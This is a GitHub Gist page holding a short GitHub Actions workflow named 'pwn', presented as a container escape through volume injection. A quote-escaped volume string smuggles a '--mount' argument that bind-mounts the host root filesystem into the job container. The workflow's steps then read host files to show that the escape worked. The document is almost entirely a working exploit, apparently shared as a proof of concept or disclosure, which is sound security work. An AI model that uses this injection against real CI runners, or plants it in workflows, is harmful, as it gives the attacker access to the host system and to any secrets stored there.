Skip to content

Instantly share code, notes, and snippets.

@RootUp
Created February 7, 2026 19:37
Show Gist options
  • Select an option

  • Save RootUp/d4034c0d7d228dc1d5d3b6f295a9673f to your computer and use it in GitHub Desktop.

Select an option

Save RootUp/d4034c0d7d228dc1d5d3b6f295a9673f to your computer and use it in GitHub Desktop.
GitHub Actions container escape via volume injection
name: pwn
on: [workflow_dispatch]
jobs:
container-test-job:
runs-on: ubuntu-latest
container:
image: node:18
env:
NODE_ENV: development
ports:
- 80
volumes:
- '/tmp/vol\" --mount type=bind,src=/,dst=/host\"'
options: --user 1000:1000 --cpus 1
steps:
- name: prove host access
run: |
id
cat /etc/hostname
cat /host\\/etc/hostname || true
cat /host\\/proc/version || true
@RootUp
Copy link
Author

RootUp commented Feb 8, 2026

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment